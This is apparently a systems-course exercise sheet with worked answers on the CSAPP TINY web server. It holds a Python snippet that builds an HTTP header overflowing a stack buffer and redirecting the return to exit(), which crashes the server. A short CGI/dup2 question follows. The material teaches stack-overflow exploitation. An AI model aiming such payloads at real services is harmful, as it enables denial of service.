ICS EXE 9

April 28, 2021

1 The TINY web server

Suppose a TINY web server (described in CSAPP:11.6) is going to be hosted on 10.0.0.32, at port 8000. However, someone modified line 26 of TINY `read_requesthdrs` to be `unsafe_readlineb(rp, buf, MAXLINE);`.

```
1  void doit(int fd)
2  {
3    /* Skipped... */
4
5    /* Read request line and headers */
6    Rio_readinitb(&rio, fd);
7    Rio_readlineb(&rio, buf, MAXLINE);
8    printf("Request headers:\n");
9    printf("%s", buf);
10   sscanf(buf, "%s %s %s", method, uri, version);
11   if (strcasecmp(method, "GET")) {
12     clienterror(fd, method, "501",
13         "Not implemented",
14         "Tiny does not implement this method");
15     return;
16   }
17   read_requesthdrs(&rio);
18
19   /* Skipped... */
20 }
21
22 void read_requesthdrs(rio_t *rp) {
23     char buf[MAXLINE];
24     Rio_readlineb(rp, buf, MAXLINE);
25     while(strcmp(buf, "\r\n")) {
26         Rio_readlineb(rp, buf, MAXLINE);
27         printf("%s", buf);
28     }
29     return;
30 }
```

The code of `unsafe_readlineb` is shown below.

```
ssize_t unsafe_readlineb(rio_t * rp,
    void *usrbuf, size_t maxlen) {
  int n, rc;
  char c, *bufp = usrbuf;
  n = 1;
  while (1) {
    if ((rc = rio_read(rp, &c, 1)) == 1) {
      *bufp++ = c;
      if (c == '\n') {
        n++;
        break;
      }
    } else if (rc == 0) {
      if (n == 1)
        return 0;
      else
        break;
    } else
      return -1;
    n++;
  }
  *bufp = 0;
  return n - 1;
}
```

Since unsafe readlineb does not check maxlen, a buffer overow (Section 3.10.3) may happen. Now suppose you are an attacker and want to kill the web server so that the others can no longer access the website. You somehow know 3 key info about the remote process (`./tiny 8000`):

1. the exit function is at `0x7ffff78a9dd0`.
2. when execute `read_requesthdrs`, the RBP is `0x7fffffec020`.
3. when execute `read_requesthdrs`, the variable buf is at `0x7fffffea020`.

How do you construct a HTTP request to do the attack?

To overflow the variable buf in read requesthdrs, we need a long (more than MAXLINE) HTTP header.

```
import struct
exit_addr = 0x7ffff78a9dd0
buf_addr = 0x7fffffea020
rbp = 0x7fffffec020
pad = "a" * (rbp - buf_addr + 8)
jmp = struct.pack("<Q" , exit_addr)
exploit_str = pad + jmp
req = "GET / HTTP/1.0\r\n" +
      "bypass line57 \n" +
      exploit_str + "\n" + "\r\n"
```

2

Assume that a CGI program needs to send dynamic content to the client. This is typically done by making the CGI program send its content to the standard output. Explain how this content is sent to the client.

Before the process that runs the CGI program is loaded, a Linux dup2 function is used to redirect standard output to the connected descriptor that is associated with the client. Thus, anything that the CGI program writes to standard output goes directly to the client.